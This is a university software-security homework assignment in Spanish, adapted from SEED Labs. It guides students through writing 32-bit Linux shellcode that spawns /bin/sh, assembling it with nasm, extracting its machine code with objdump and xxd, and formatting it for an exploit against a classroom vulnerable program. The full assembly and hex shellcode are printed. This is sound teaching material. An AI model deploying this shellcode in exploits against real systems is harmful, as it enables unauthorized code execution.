Instituto Tecnológico de Costa Rica
IC-8071 Seguridad de Software Prof. Herson Esquivel Vargas

Tarea #5: Shellcode parte I[1]

Esta tarea consiste en un laboratorio de desarrollo de shellcode. Esta tarea puede desarrollarse en los laboratorios de computación o en otros sistemas GNU/Linux con:

nasm	xxd	gdb
binutils	strace	gcc-multilib
g++-multilib		

El objetivo de esta tarea consiste en aprender a desarrollar *shellcode* desde cero. Dicho proceso inicia con un pequeño programa escrito en lenguaje ensamblador que ejecuta el programa **`/bin/sh`** (un shell básico en sistemas operativos de kernel Linux). El código se muestra a continuación:

```
; This file is called mysh.s
01: section .text
02:   global _start
03:     _start:
04:       ; Store the argument string on stack
05:       xor eax, eax
06:       push eax      ; Use 0 to terminate the string
07:       push "//sh"   ;
08:       push "/bin"
09:       mov ebx, esp  ; Get the string address
10:
11:       ; Construct the argument array argv[]
12:       push eax      ; argv[1] = 0
13:       push ebx      ; argv[0] points to the cmd string Ì
14:       mov ecx, esp  ; Get the address of argv[]
15:
16:       ; For environment variable
17:       xor edx, edx  ; No env variable
18:
19:       ; Invoke execve()
20:       xor eax, eax  ; eax = 0x00000000
21:       mov al, 0x0b  ; eax = 0x0000000b
22:       int 0x80
```

1 Tarea basada en el laboratorio seed-labs de Wenliang Du.

Ensamblando a código objeto. Se debe ensamblar el código usando nasm, que es un ensamblador para procesadores Intel de arquitecturas x86 y x64. La opción `-f elf32` indica que se desea ensamblar el código en formato ELF de 32 bits.

```
$ nasm -f elf32 mysh.s -o mysh.o
```

Enlazando el código binario. Una vez que se obtiene el código objeto `mysh.o`, se debe enlazar para obtener un binario ejecutable. Para esto, se debe usar el enlazador `ld`. La opción `-m elf_i386` indica que se desea generar un binario ELF de 32 bits. Después de este paso, se obtiene un archivo ejecutable llamado `mysh`. Si se ejecuta este último archivo, se obtiene una terminal de `sh`. Antes y después de ejecutar `mysh` se debe imprimir el *process id* del shell actual para evidenciar que el nuevo binario efectivamente crea un nuevo shell. Es posible que sus identificadores de proceso sean diferentes a los mostrados.

```
$ ld -m elf_i386 mysh.o -o mysh

$ echo $$
25751      ← the process ID of the current shell
$ mysh
$ echo $$
9760       ← the process ID of the new shell
```

Obteniendo el código máquina. Aunque el ejecutable obtenido en el paso anterior abre un shell, se necesita extraer el código máquina para poder usarlo en *exploits* contra programas vulnerables (como el programa explotado en clase). El código máquina de este ejecutable es un *shellcode*.

Existen varias maneras de obtener el código máquina. Una de ellas, es mediante el programa `objdump`, capaz de desensamblar archivos objeto y binarios. Un extracto de la salida de `objdump` se muestra a continuación:

```
$ objdump -Mintel --disassemble mysh.o
mysh.o:     file format elf32-i386

Disassembly of section .text:

00000000 <_start>:
   0: 31 db    xor   ebx,ebx
   2: 31 c0    xor   eax,eax

       ... (code omitted) …
```

```
  1f: b0 0b    mov   al,0xb
  21: cd 80    int   0x80
```

En el extracto mostrado arriba se resalta en negrita el código máquina. Es posible que el código máquina mostrado sea diferente al obtenido en otras computadoras. También es posible usar el comando `xxd` para imprimir el contenido del archivo objeto. El programa `xxd` muestra también el código máquina pero sin el "ruido" del código ensamblador. Un ejemplo se muestra a continuación:

```
$ xxd -p -c 20 mysh.o
7f454c4601010100000000000000001000300
...
00000000000000000000000031db31c0b0d5cd80
31c050682f2f7368682f62696e89e3505389e131
d231c0b00bcd8000000000000000000000000000
...
```

Escriba un programa que reciba un string de código máquina (e.g., "`31db31c0`…") y le dé el formato necesario para ser usado en un exploit (e.g., "`\x31\xdb\x31\xc0`…").

Utilize el shellcode recién creado para explotar el programa vulnerable visto en clase (ejemplo de shellcode).

Entregables

- La documentación del proceso descrito anteriormente, incluyendo screenshots a pantalla completa que incluyan la fecha y hora del sistema operativo, además del código.
- La documentación se debe entregar en formato PDF. Si la documentación no cumple con los requerimientos establecidos, no se revisará la tarea.
- El documento entregable se debe subir al TecDigital.

Fecha de entrega

- Viernes 05 de abril de 2024 a las 11:59pm.

Aspectos varios

- La tarea se desarrollará en parejas o, si se desea, de manera individual.
- Todas las dudas que surjan con respecto a la tarea se preguntarán y evacuarán en el foro destinado para tal fin (TecDigital).
- Cualquier intento de fraude se calificará con nota de 0, además de la aplicación del reglamento vigente.